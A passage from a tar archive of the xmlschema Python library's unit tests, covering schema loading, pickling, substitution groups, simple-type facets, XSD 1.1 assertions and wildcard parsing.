"can't change the global maps instance of a class meta-schema") with self.assertRaises(AttributeError) as ctx: XsdGlobals(schema) self.assertEqual(str(ctx.exception), "can't change the global maps instance of a schema that " "is the main validator of another global maps instance") self.assertTrue(schema.built) schema = schema.copy() maps, schema.maps = schema.maps, XsdGlobals(schema) self.assertIsNot(maps, schema.maps) self.assertFalse(schema.built) schema = schema.copy() with self.assertRaises(ValueError) as ctx: schema.maps = maps self.assertIn("is already registered", str(ctx.exception)) def test_listed_and_reversed_elements(self): schema = self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="elem1"/> <xs:element name="elem2"/> <xs:element name="elem3"/> </xs:schema>""")) elements = list(schema) self.assertListEqual(elements, [schema.elements['elem1'], schema.elements['elem2'], schema.elements['elem3']]) elements.reverse() self.assertListEqual(elements, list(reversed(schema))) def test_multi_schema_initialization(self): source1 = dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="elem1"/> </xs:schema>""") source2 = dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="elem2"/> </xs:schema>""") source3 = dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="elem3"/> </xs:schema>""") schema = self.schema_class([source1, source2, source3]) self.assertEqual(len(schema.elements), 3) self.assertEqual(len(schema.maps.namespaces['']), 3) self.assertIs(schema.elements['elem1'].schema, schema) self.assertIs(schema.elements['elem2'].schema, schema.maps.namespaces[''][1]) self.assertIs(schema.elements['elem3'].schema, schema.maps.namespaces[''][2]) # Insert the same schema twice has no effect anymore (skips the duplicate), # duplicates as detected by resource URL or identity (not for equality). schema = self.schema_class([source1, source2, source2]) self.assertEqual(len(schema.elements), 2) self.assertEqual(len(schema.maps.namespaces['']), 2) self.assertIs(schema.elements['elem1'].schema, schema) self.assertIs(schema.elements['elem2'].schema, schema.maps.namespaces[''][1]) source2a = '<?xml version="1.0" encoding="UTF-8"?>\n' + source2 with self.assertRaises(XMLSchemaParseError) as ec: self.schema_class([source1, source2, source2a]) self.assertIn("global xs:element with name='elem2' is already loaded", str(ec.exception)) source1 = dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" targetNamespace="http://xmlschema.test/ns"> <xs:element name="elem1"/> </xs:schema>""") schema = self.schema_class([source1, source2]) self.assertEqual(len(schema.elements), 1) self.assertEqual(len(schema.maps.namespaces['http://xmlschema.test/ns']), 1) self.assertIs(schema.elements['elem1'].schema, schema) self.assertIs(schema.maps.elements['elem2'].schema, schema.maps.namespaces[''][0]) def test_add_schema(self): source1 = dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" targetNamespace="http://xmlschema.test/ns"> <xs:element name="elem1"/> </xs:schema>""") source2 = dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="elem2"/> </xs:schema>""") source2_ = dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="elem2" /> </xs:schema>""") source3 = dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" targetNamespace="http://xmlschema.test/ns1"> <xs:element name="elem3"/> </xs:schema>""") schema = self.schema_class(source1) # Provide a namespace, otherwise source2 is considered a chameleon schema schema.add_schema(source2, namespace='', build=True) self.assertEqual(len(schema.elements), 1) self.assertEqual(len(schema.maps.namespaces['http://xmlschema.test/ns']), 1) self.assertEqual(len(schema.maps.namespaces['']), 1) # Doesn't raise if the source is the same object schema.add_schema(source2, namespace='', build=True) self.assertEqual(len(schema.elements), 1) self.assertEqual(len(schema.maps.namespaces['http://xmlschema.test/ns']), 1) self.assertEqual(len(schema.maps.namespaces['']), 1) # Doesn't check equality of the sources, only URL matching. with self.assertRaises(XMLSchemaParseError) as ctx: schema.add_schema(source2_, namespace='', build=True) self.assertIn("global xs:element with name='elem2' is already loaded", str(ctx.exception)) with self.assertRaises(XMLSchemaParseError) as ec: schema.maps.clear() schema.build() self.assertIn("global xs:element with name='elem2' is already loaded", str(ec.exception)) schema = self.schema_class(source1) schema.add_schema(source2, namespace='http://xmlschema.test/ns', build=True) self.assertEqual(len(schema.maps.namespaces['http://xmlschema.test/ns']), 2) # Don't need a full rebuild to add elem2 from added schema ... self.assertEqual(len(schema.elements), 2) schema.maps.clear() schema.build() self.assertEqual(len(schema.elements), 2) # Or build after sources additions schema = self.schema_class(source1, build=False) schema.add_schema(source2, namespace='http://xmlschema.test/ns') schema.build() self.assertEqual(len(schema.elements), 2) # Adding other namespaces do not require rebuild schema3 = schema.add_schema(source3, build=True) self.assertEqual(len(schema.maps.namespaces['http://xmlschema.test/ns1']), 1) self.assertEqual(len(schema3.elements), 1) def test_pickling_invalid_schema(self): schema_file = self.cases_dir.joinpath('examples/vehicles/invalid.xsd') xml_file = self.cases_dir.joinpath('examples/vehicles/vehicles.xml') schema = self.schema_class(schema_file, validation='lax') self.assertTrue(schema.is_valid(str(xml_file))) s = pickle.dumps(schema) _schema = pickle.loads(s) self.assertTrue(_schema.is_valid(str(xml_file))) self.assertEqual(len(schema.errors), len(_schema.errors)) err = XMLSchemaValidationError(schema, 'foo') schema.errors.append(err) # noqa, not a parse error, only for checking unpickle correctness s = pickle.dumps(schema) _schema = pickle.loads(s) self.assertEqual(2, len(_schema.errors)) def test_pickling_subclassed_schema__issue_263(self): schema_file = self.cases_dir.joinpath('examples/vehicles/vehicles.xsd') xml_file = self.cases_dir.joinpath('examples/vehicles/vehicles.xml') self.CustomXMLSchema.meta_schema.clear() schema = self.CustomXMLSchema(str(schema_file)) self.assertTrue(schema.is_valid(str(xml_file))) self.assertIs(self.schema_class.meta_schema, schema.meta_schema) self.assertNotIn(schema.meta_schema.__class__.__name__, globals()) s = pickle.dumps(schema) _schema = pickle.loads(s) self.assertTrue(_schema.is_valid(str(xml_file))) class CustomLocalXMLSchema(self.schema_class): pass schema = CustomLocalXMLSchema(str(schema_file)) self.assertTrue(schema.is_valid(str(xml_file))) with self.assertRaises((pickle.PicklingError, AttributeError)) as ec: # type: ignore pickle.dumps(schema) error_message = str(ec.exception) self.assertTrue( "Can't get local object" in error_message or "Can't pickle" in error_message ) def test_meta_schema_validation(self): self.assertTrue(self.schema_class.meta_schema.is_valid(self.vh_xsd_file)) invalid_xsd = self.casepath('examples/vehicles/invalid.xsd') self.assertFalse(self.schema_class.meta_schema.is_valid(invalid_xsd)) def test_default_namespace_mapping__issue_266(self): schema_file = self.casepath('issues/issue_266/issue_266b-1.xsd') with self.assertRaises(XMLSchemaParseError) as ec: self.schema_class(schema_file) error_message = str(ec.exception) self.assertIn("the QName 'testAttribute3' is mapped to no namespace", error_message) self.assertIn("requires that there is an xs:import statement", error_message) @unittest.skipIf(SKIP_REMOTE_TESTS, "Remote networks are not accessible.") def test_import_dsig_namespace__issue_357(self): location = 'https://www.w3.org/TR/2008/REC-xmldsig-core-20080610/xmldsig-core-schema.xsd' dsig_namespace = 'http://www.w3.org/2000/09/xmldsig#' schema = self.schema_class(dedent(f"""<?xml version="1.0" encoding="UTF-8"?> <!-- Test import of defused data from remote with a fallback.--> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:import namespace="{dsig_namespace}" schemaLocation="{location}"/> <xs:element name="root"/> </xs:schema>""")) self.assertIn(dsig_namespace, schema.maps.namespaces) url = schema.maps.namespaces[dsig_namespace][0].url self.assertIsInstance(url, str) self.assertTrue(url.endswith('schemas/DSIG/xmldsig-core-schema.xsd')) def test_include_overlap(self): schema = self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="elem1"/> <xs:element name="elem2"/> </xs:schema>""")) with self.assertRaises(XMLSchemaParseError) as ctx: self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="elem1"/> <xs:element name="elem2"/> </xs:schema>"""), global_maps=schema.maps) self.assertIn("global xs:element with name='elem1' is already loaded", str(ctx.exception)) def test_use_xpath3(self): schema = self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="root"/> </xs:schema>"""), use_xpath3=True) self.assertTrue(schema.use_xpath3) def test_xmlns_namespace_forbidden(self): source = dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" targetNamespace="http://www.w3.org/2000/xmlns/"> <xs:element name="root"/> </xs:schema>""") with self.assertRaises(ValueError) as ctx: self.schema_class(source) self.assertIn('http://www.w3.org/2000/xmlns/', str(ctx.exception)) def test_malformed_schema__issue_404(self): """Loads an xsd file""" malformed_xsd = self.casepath('resources/malformed.xsd') with self.assertRaises(xmlschema.XMLSchemaException): self.schema_class(malformed_xsd) def test_build_helpers_api(self): schema = self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="root"/> </xs:schema>""")) xsd_element = schema.elements['root'] self.assertIsInstance( schema.create_any_type(), XsdComplexType ) self.assertIsInstance( schema.create_any_content_group(xsd_element.type), XsdGroup ) self.assertIsInstance( schema.create_any_attribute_group(xsd_element), XsdAttributeGroup ) self.assertIsInstance( schema.create_empty_attribute_group(xsd_element), XsdAttributeGroup ) self.assertIsInstance( schema.create_empty_content_group(xsd_element.type), XsdGroup ) self.assertIsInstance( schema.create_element('foo', xsd_element), XsdElement ) def test_invalid_substitution_group__issue_452(self): with self.assertRaises(XMLSchemaParseError) as ctx: self.schema_class(dedent("""\ <?xml version="1.0" encoding="utf-8"?> <schema xmlns="http://www.w3.org/2001/XMLSchema" xmlns:w3="http://xmlschema.test/ns" targetNamespace="http://xmlschema.test/ns" elementFormDefault="qualified" attributeFormDefault="unqualified"> <element id="x1" name="x1" nillable="true" type="integer" /> <element id="x2" name="x2" substitutionGroup="w3:x1" /> <element id="x3" name="x3" substitutionGroup="w3:x2" /> <element id="x4" name="x4" substitutionGroup="w3:x3" type="boolean"/> </schema>""")) self.assertIn("type is not of the same or a derivation of the head element", str(ctx.exception)) with self.assertRaises(XMLSchemaParseError) as ctx: self.schema_class(dedent("""\ <?xml version="1.0" encoding="utf-8"?> <schema xmlns="http://www.w3.org/2001/XMLSchema" xmlns:w3="http://xmlschema.test/ns" targetNamespace="http://xmlschema.test/ns" elementFormDefault="qualified" attributeFormDefault="unqualified"> <element id="x1" name="x1" nillable="true" type="integer" /> <element id="x2" name="x2" substitutionGroup="w3:x1" /> <element id="x3" name="x4" substitutionGroup="w3:x2" type="boolean"/> </schema>""")) self.assertIn("type is not of the same or a derivation of the head element", str(ctx.exception)) with self.assertRaises(XMLSchemaParseError) as ctx: self.schema_class(dedent("""\ <?xml version="1.0" encoding="utf-8"?> <schema xmlns="http://www.w3.org/2001/XMLSchema" xmlns:w3="http://xmlschema.test/ns" targetNamespace="http://xmlschema.test/ns" elementFormDefault="qualified" attributeFormDefault="unqualified"> <element id="x1" name="x1" nillable="true" type="integer" /> <element id="x2" name="x4" substitutionGroup="w3:x1" type="boolean"/> </schema>""")) self.assertIn("type is not of the same or a derivation of the head element", str(ctx.exception)) with self.assertRaises(XMLSchemaParseError) as ctx: self.schema_class(dedent("""\ <?xml version="1.0" encoding="utf-8"?> <schema xmlns="http://www.w3.org/2001/XMLSchema" xmlns:w3="http://xmlschema.test/ns" targetNamespace="http://xmlschema.test/ns" elementFormDefault="qualified" attributeFormDefault="unqualified"> <element id="x1" name="x1" nillable="true" type="integer" /> <element id="x2" name="x4" substitutionGroup="w3:x1" type="anyType"/> </schema>""")) self.assertIn("type is not of the same or a derivation of the head element", str(ctx.exception)) def test_multiple_substitution_groups__issue_452(self): schema = self.schema_class(dedent("""\ <?xml version="1.0" encoding="utf-8"?> <schema xmlns="http://www.w3.org/2001/XMLSchema" xmlns:w3="http://xmlschema.test/ns" targetNamespace="http://xmlschema.test/ns" elementFormDefault="qualified" attributeFormDefault="unqualified"> <element id="x1" name="x1" nillable="true" type="decimal" /> <element id="x2" name="x2" substitutionGroup="w3:x1" type="integer"/> <element id="x3" name="x3" substitutionGroup="w3:x2" type="int"/> <element id="x4" name="x4" substitutionGroup="w3:x3" type="short"/> </schema>""")) self.assertIsNone(schema.validate('<x4 xmlns="http://xmlschema.test/ns">8000</x4>')) with self.assertRaises(XMLSchemaValidationError) as ctx: schema.validate('<x4 xmlns="http://xmlschema.test/ns">80000</x4>') self.assertIn('failed validating 80000 with', str(ctx.exception)) schema = self.schema_class(dedent("""\ <?xml version="1.0" encoding="utf-8"?> <schema xmlns="http://www.w3.org/2001/XMLSchema" xmlns:w3="http://xmlschema.test/ns" targetNamespace="http://xmlschema.test/ns" elementFormDefault="qualified" attributeFormDefault="unqualified"> <element id="x1" name="x1" nillable="true" type="decimal" /> <element id="x2" name="x2" substitutionGroup="w3:x1"/> </schema>""")) # The effective type is not xs:anyType due to substitution: this may be an override # but the alternative requires more checks and an extra attribute for elements. This # happens only when the substitute element has no type explicitly associated. self.assertEqual( schema.elements['x2'].type.name, '{http://www.w3.org/2001/XMLSchema}decimal' ) self.assertIsNone(schema.validate('<x2 xmlns="http://xmlschema.test/ns">80000</x2>')) with self.assertRaises(XMLSchemaValidationError) as ctx: schema.validate('<x2 xmlns="http://xmlschema.test/ns">foo</x2>') self.assertIn("invalid value 'foo'", str(ctx.exception)) def test_substitution_groups_on_refs__issue_452(self): schema = self.schema_class(dedent("""\ <?xml version="1.0" encoding="utf-8"?> <schema xmlns="http://www.w3.org/2001/XMLSchema" xmlns:w3="http://xmlschema.test/ns" targetNamespace="http://xmlschema.test/ns" elementFormDefault="qualified" attributeFormDefault="unqualified"> <element id="x1" name="x1" nillable="true" type="integer" /> <element id="x2" name="x2" substitutionGroup="w3:x1" type="short"/> <element name="values" type="w3:valuesType"/> <complexType name="valuesType"> <sequence> <element ref="w3:x1" maxOccurs="unbounded"/> </sequence> </complexType> </schema>""")) self.assertIsNone(schema.validate( '<values xmlns="http://xmlschema.test/ns"><x1>80000</x1></values>' )) self.assertIsNone(schema.validate( '<values xmlns="http://xmlschema.test/ns"><x2>8000</x2></values>' )) with self.assertRaises(XMLSchemaValidationError) as ctx: schema.validate( '<values xmlns="http://xmlschema.test/ns"><x2>80000</x2></values>' ) self.assertIn('failed validating 80000 with', str(ctx.exception)) class TestXMLSchema11(TestXMLSchema10): schema_class = XMLSchema11 class CustomXMLSchema(XMLSchema11): pass def test_default_attributes(self): schema = self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" defaultAttributes="attrs"> <xs:element name="root"/> <xs:attributeGroup name="attrs"> <xs:attribute name="a"/> </xs:attributeGroup> </xs:schema>""")) self.assertIs(schema.default_attributes, schema.attribute_groups['attrs']) with self.assertRaises(XMLSchemaParseError) as ctx: self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" defaultAttributes="attrs"> <xs:element name="root"/> </xs:schema>""")) self.assertIn("'attrs' doesn't match any attribute group", ctx.exception.message) with self.assertRaises(XMLSchemaParseError) as ctx: self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" defaultAttributes="x:attrs"> <xs:element name="root"/> </xs:schema>""")) self.assertEqual("prefix 'x' not found in namespace map", ctx.exception.message) def test_use_xpath3(self): schema = self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="root"/> </xs:schema>"""), use_xpath3=True) self.assertTrue(schema.use_xpath3) schema = self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="root" type="rootType"/> <xs:complexType name="rootType"> <xs:assert test="let $foo := 'bar' return $foo"/> </xs:complexType> </xs:schema>"""), use_xpath3=True) self.assertTrue(schema.use_xpath3) with self.assertRaises(XMLSchemaParseError) as ctx: self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="root" type="rootType"/> <xs:complexType name="rootType"> <xs:assert test="let $foo := 'bar' return $foo"/> </xs:complexType> </xs:schema>""")) self.assertIn('XPST0003', str(ctx.exception)) def test_xpath_predicate_selector__issue_454(self): schema_file = self.casepath('examples/vehicles/vehicles.xsd') xml_file = self.casepath('examples/vehicles/vehicles.xml') schema = self.schema_class(schema_file) with self.assertRaises(XMLSchemaValidationError) as ctx: schema.decode(xml_file, '/vh:vehicles/vh:bikes/vh:bike[2]') self.assertIn("maybe you have to provide a different path", ctx.exception.reason) class TestXMLSchemaMeta(unittest.TestCase): def test_wrong_version(self): if sys.version_info < (3, 12): error_class = RuntimeError error_message = ("Error calling __set_name__ on 'XsdBuilders' " "instance 'builders' in 'MetaXMLSchema12'") else: error_class = ValueError error_message = "wrong or unsupported XSD version '1.2'" with self.assertRaises(error_class) as ctx: class XMLSchema12(XMLSchemaBase): XSD_VERSION = '1.2' builders = XsdBuilders() meta_schema = os.path.join(SCHEMAS_DIR, 'XSD_1.1/XMLSchema.xsd') assert issubclass(XMLSchema12, XMLSchemaBase) self.assertEqual(str(ctx.exception), error_message) def test_from_schema_class(self): class XMLSchema11Bis(XMLSchema11): pass self.assertTrue(issubclass(XMLSchema11Bis, XMLSchemaBase)) def test_dummy_validator_class(self): class DummySchema(XMLSchemaBase): builders = XsdBuilders() XSD_VERSION = '1.1' meta_schema = os.path.join(SCHEMAS_DIR, 'XSD_1.1/XMLSchema.xsd') self.assertTrue(issubclass(DummySchema, XMLSchemaBase)) def test_subclass_but_no_replace_meta_schema(self): class CustomXMLSchema10(XMLSchema10): builders = XsdBuilders() self.assertIsInstance(CustomXMLSchema10.meta_schema, XMLSchemaBase) self.assertIs(CustomXMLSchema10.meta_schema, XMLSchema10.meta_schema) name = CustomXMLSchema10.meta_schema.__class__.__name__ self.assertEqual(name, 'MetaXMLSchema10') self.assertNotIn(name, globals()) def test_subclass_and_replace_meta_schema(self): class CustomXMLSchema10(XMLSchema10): builders = XsdBuilders() META_SCHEMA = os.path.join(SCHEMAS_DIR, 'XSD_1.0/XMLSchema.xsd') self.assertIsInstance(CustomXMLSchema10.meta_schema, XMLSchemaBase) self.assertIsNot(CustomXMLSchema10.meta_schema, XMLSchema10.meta_schema) name = CustomXMLSchema10.meta_schema.__class__.__name__ self.assertEqual(name, 'MetaCustomXMLSchema10') self.assertIn(name, globals()) bases = CustomXMLSchema10.meta_schema.__class__.__bases__ self.assertEqual(bases, (XMLSchema10.meta_schema.__class__,)) def test_subclass_and_create_base_meta_schema(self): class CustomXMLSchema10(XMLSchemaBase): builders = XsdBuilders() META_SCHEMA = os.path.join(SCHEMAS_DIR, 'XSD_1.0/XMLSchema.xsd') self.assertIsInstance(CustomXMLSchema10.meta_schema, XMLSchemaBase) self.assertIsNot(CustomXMLSchema10.meta_schema, XMLSchema10.meta_schema) name = CustomXMLSchema10.meta_schema.__class__.__name__ self.assertEqual(name, 'MetaCustomXMLSchema10') self.assertIn(name, globals()) bases = CustomXMLSchema10.meta_schema.__class__.__bases__ self.assertEqual(bases, (XMLSchemaBase,)) if __name__ == '__main__': from xmlschema.testing import run_xmlschema_tests run_xmlschema_tests('schema classes') ��������������������������xmlschema-4.1.0/tests/validators/test_simple_types.py�����������������������������������������������0000664�0000000�0000000�00000030574�15020401055�0023136�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python # # Copyright (c), 2016-2020, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato <brunato@sissa.it> # import pathlib from xmlschema import XMLSchemaParseError, XMLSchemaValidationError from xmlschema.names import XSD_LIST, XSD_UNION from xmlschema.validators import XMLSchema11 from xmlschema.testing import XsdValidatorTestCase class TestXsdSimpleTypes(XsdValidatorTestCase): cases_dir = pathlib.Path(__file__).parent.joinpath('../test_cases') def test_simple_types(self): # Issue #54: set list or union schema element. xs = self.check_schema(""" <xs:simpleType name="test_list"> <xs:annotation/> <xs:list itemType="xs:string"/> </xs:simpleType> <xs:simpleType name="test_union"> <xs:annotation/> <xs:union memberTypes="xs:string xs:integer xs:boolean"/> </xs:simpleType> """) xs.types['test_list'].parse(xs.root[0]) # elem.tag == 'simpleType' self.assertEqual(xs.types['test_list'].elem.tag, XSD_LIST) xs.types['test_union'].parse(xs.root[1]) # elem.tag == 'simpleType' self.assertEqual(xs.types['test_union'].elem.tag, XSD_UNION) def test_variety_property(self): schema = self.check_schema(""" <xs:simpleType name="atomicType"> <xs:restriction base="xs:string"/> </xs:simpleType> <xs:simpleType name="listType"> <xs:list itemType="xs:string"/> </xs:simpleType> <xs:simpleType name="listType2"> <xs:restriction base="listType"/> </xs:simpleType> <xs:simpleType name="unionType"> <xs:union memberTypes="xs:string xs:integer xs:boolean"/> </xs:simpleType> <xs:simpleType name="unionType2"> <xs:restriction base="unionType"/> </xs:simpleType> """) self.assertEqual(schema.types['atomicType'].variety, 'atomic') self.assertEqual(schema.types['listType'].variety, 'list') self.assertEqual(schema.types['listType2'].variety, 'list') self.assertEqual(schema.types['unionType'].variety, 'union') self.assertEqual(schema.types['unionType2'].variety, 'union') def test_final_attribute(self): self.check_schema(""" <xs:simpleType name="aType" final="list restriction"> <xs:restriction base="xs:string"/> </xs:simpleType> """) def test_facets(self): # Issue #55 and a near error (derivation from xs:integer) self.check_schema(""" <xs:simpleType name="dtype"> <xs:restriction base="xs:decimal"> <xs:fractionDigits value="3" /> <xs:totalDigits value="20" /> </xs:restriction> </xs:simpleType> <xs:simpleType name="ntype"> <xs:restriction base="dtype"> <xs:totalDigits value="3" /> <xs:fractionDigits value="1" /> </xs:restriction> </xs:simpleType> """) self.check_schema(""" <xs:simpleType name="dtype"> <xs:restriction base="xs:integer"> <xs:fractionDigits value="3" /> <!-- <<< value must be 0 --> <xs:totalDigits value="20" /> </xs:restriction> </xs:simpleType> """, XMLSchemaParseError) # Issue #56 self.check_schema(""" <xs:simpleType name="mlengthparent"> <xs:restriction base="xs:string"> <xs:maxLength value="200"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="mlengthchild"> <xs:restriction base="mlengthparent"> <xs:maxLength value="20"/> </xs:restriction> </xs:simpleType> """) def test_union_restrictions(self): # Wrong union restriction (not admitted facets, see issue #67) self.check_schema(r""" <xs:simpleType name="Percentage"> <xs:restriction base="Integer"> <xs:minInclusive value="0"/> <xs:maxInclusive value="100"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="Integer"> <xs:union memberTypes="xs:int IntegerString"/> </xs:simpleType> <xs:simpleType name="IntegerString"> <xs:restriction base="xs:string"> <xs:pattern value="-?[0-9]+(\.[0-9]+)?%"/> </xs:restriction> </xs:simpleType> """, XMLSchemaParseError) def test_date_time_facets(self): self.check_schema(""" <xs:simpleType name="restricted_date"> <xs:restriction base="xs:date"> <xs:minInclusive value="1900-01-01"/> <xs:maxInclusive value="2030-12-31"/> </xs:restriction> </xs:simpleType>""") self.check_schema(""" <xs:simpleType name="restricted_year"> <xs:restriction base="xs:gYear"> <xs:minInclusive value="1900"/> <xs:maxInclusive value="2030"/> </xs:restriction> </xs:simpleType>""") def test_is_empty(self): schema = self.check_schema(""" <xs:simpleType name="emptyType1"> <xs:restriction base="xs:string"> <xs:maxLength value="0"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="emptyType2"> <xs:restriction base="xs:string"> <xs:length value="0"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="emptyType3"> <xs:restriction base="xs:string"> <xs:enumeration value=""/> </xs:restriction> </xs:simpleType> <xs:simpleType name="notEmptyType1"> <xs:restriction base="xs:string"> <xs:enumeration value=" "/> </xs:restriction> </xs:simpleType>""") self.assertTrue(schema.types['emptyType1'].is_empty()) self.assertTrue(schema.types['emptyType2'].is_empty()) self.assertTrue(schema.types['emptyType3'].is_empty()) self.assertFalse(schema.types['notEmptyType1'].is_empty()) def test_union_decode_encode__issue_450(self): schema = self.check_schema(r""" <xs:element name="value" type="type" /> <xs:simpleType name="type"> <xs:restriction base="xs:string"> <xs:pattern value="[$][{][ A-Za-z0-9_\+\-\*/%$\(\)\.,]*[\}]" /> </xs:restriction> </xs:simpleType> <xs:element name="value1" type="union1" /> <xs:simpleType name="union1"> <xs:union memberTypes="xs:QName xs:time type" /> </xs:simpleType> <xs:element name="value2" type="union2" /> <xs:simpleType name="union2"> <xs:union memberTypes="xs:QName type xs:time" /> </xs:simpleType> <xs:element name="value3" type="union3" /> <xs:simpleType name="union3"> <xs:union memberTypes="type xs:QName xs:time" /> </xs:simpleType> """) self.assertIsNone(schema.validate('<value>${}</value>')) self.assertIsNone(schema.validate('<value>${abc}</value>')) self.assertIsNone(schema.validate('<value>${()}</value>')) self.assertIsNone(schema.validate('<value>${1}</value>')) with self.assertRaises(XMLSchemaValidationError): schema.validate('<value>1</value>') self.assertIsNone(schema.validate('<value1>${}</value1>')) with self.assertRaises(XMLSchemaValidationError) as cm: schema.validate('<value1>1</value1>') self.assertEqual(cm.exception.reason, "invalid value '1'") self.assertIsNone(schema.validate('<value2>${}</value2>')) with self.assertRaises(XMLSchemaValidationError) as cm: schema.validate('<value2>1</value2>') self.assertEqual(cm.exception.reason, "invalid value '1'") self.assertIsNone(schema.validate('<value3>${}</value3>')) with self.assertRaises(XMLSchemaValidationError) as cm: schema.validate('<value3>1</value3>') self.assertEqual(cm.exception.reason, "invalid value '1'") def test_union_date_and_datetime(self): schema = self.check_schema(r""" <xs:element name="value" type="dateUnion" /> <xs:simpleType name="dateUnion"> <xs:union memberTypes="xs:date xs:dateTime " /> </xs:simpleType> """) self.assertIsNone(schema.validate('<value>2007-12-31T12:30:40</value>')) class TestXsd11SimpleTypes(TestXsdSimpleTypes): schema_class = XMLSchema11 def test_explicit_timezone_facet(self): schema = self.check_schema(""" <xs:simpleType name='opt-tz-date'> <xs:restriction base='xs:date'> <xs:explicitTimezone value='optional'/> </xs:restriction> </xs:simpleType> <xs:simpleType name='req-tz-date'> <xs:restriction base='xs:date'> <xs:explicitTimezone value='required'/> </xs:restriction> </xs:simpleType> <xs:simpleType name='no-tz-date'> <xs:restriction base='xs:date'> <xs:explicitTimezone value='prohibited'/> </xs:restriction> </xs:simpleType> """) self.assertTrue(schema.types['req-tz-date'].is_valid('2002-10-10-05:00')) self.assertTrue(schema.types['req-tz-date'].is_valid('2002-10-10Z')) self.assertFalse(schema.types['req-tz-date'].is_valid('2002-10-10')) def test_assertion_facet(self): self.check_schema(""" <xs:simpleType name='DimensionType'> <xs:restriction base='xs:integer'> <xs:assertion test='string-length($value) < 2'/> </xs:restriction> </xs:simpleType>""") schema = self.check_schema(""" <xs:simpleType name='MeasureType'> <xs:restriction base='xs:integer'> <xs:assertion test='$value > 0'/> </xs:restriction> </xs:simpleType>""") self.assertTrue(schema.types['MeasureType'].is_valid('10')) self.assertFalse(schema.types['MeasureType'].is_valid('-1.5')) # Schema is valid but data value can't be compared with the string on the right schema = self.check_schema(""" <xs:simpleType name='RestrictedDateTimeType'> <xs:restriction base='xs:dateTime'> <xs:assertion test="$value > '1999-12-31T23:59:59'"/> </xs:restriction> </xs:simpleType>""") self.assertFalse(schema.types['RestrictedDateTimeType'].is_valid('2000-01-01T12:00:00')) # '>' not supported between instances of 'DateTime' and 'str' with self.assertRaises(XMLSchemaValidationError): schema.types['RestrictedDateTimeType'].validate('2000-01-01T12:00:00') schema = self.check_schema(""" <xs:simpleType name='RestrictedDateTimeType'> <xs:restriction base='xs:dateTime'> <xs:assertion test="$value > xs:dateTime('1999-12-31T23:59:59')"/> </xs:restriction> </xs:simpleType>""") self.assertTrue(schema.types['RestrictedDateTimeType'].is_valid('2000-01-01T12:00:00')) schema = self.check_schema(""" <xs:simpleType name="Percentage"> <xs:restriction base="xs:integer"> <xs:assertion test="$value >= 0"/> <xs:assertion test="$value <= 100"/> </xs:restriction> </xs:simpleType>""") self.assertTrue(schema.types['Percentage'].is_valid('10')) self.assertTrue(schema.types['Percentage'].is_valid('100')) self.assertTrue(schema.types['Percentage'].is_valid('0')) self.assertFalse(schema.types['Percentage'].is_valid('-1')) self.assertFalse(schema.types['Percentage'].is_valid('101')) self.assertFalse(schema.types['Percentage'].is_valid('90.1')) if __name__ == '__main__': from xmlschema.testing import run_xmlschema_tests run_xmlschema_tests('simple types') ������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/validators/test_wildcards.py��������������������������������������������������0000664�0000000�0000000�00000102402�15020401055�0022363�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python # # Copyright (c), 2016-2020, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato <brunato@sissa.it> # import pathlib from xmlschema import XMLSchemaParseError from xmlschema.validators import XMLSchema11, XsdDefaultOpenContent from xmlschema.testing import XsdValidatorTestCase class TestXsdWildcards(XsdValidatorTestCase): cases_dir = pathlib.Path(__file__).parent.joinpath('../test_cases') def test_parsing(self): schema = self.schema_class(""" <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" targetNamespace="tns1"> <xs:group name="group1"> <xs:choice> <xs:any namespace=" ##any "/> <xs:any namespace="##local"/> <xs:any namespace="##other"/> <xs:any namespace="##targetNamespace foo bar"/> <xs:any namespace="##local foo bar"/> <xs:any namespace="##targetNamespace ##local foo bar"/> </xs:choice> </xs:group> </xs:schema>""") 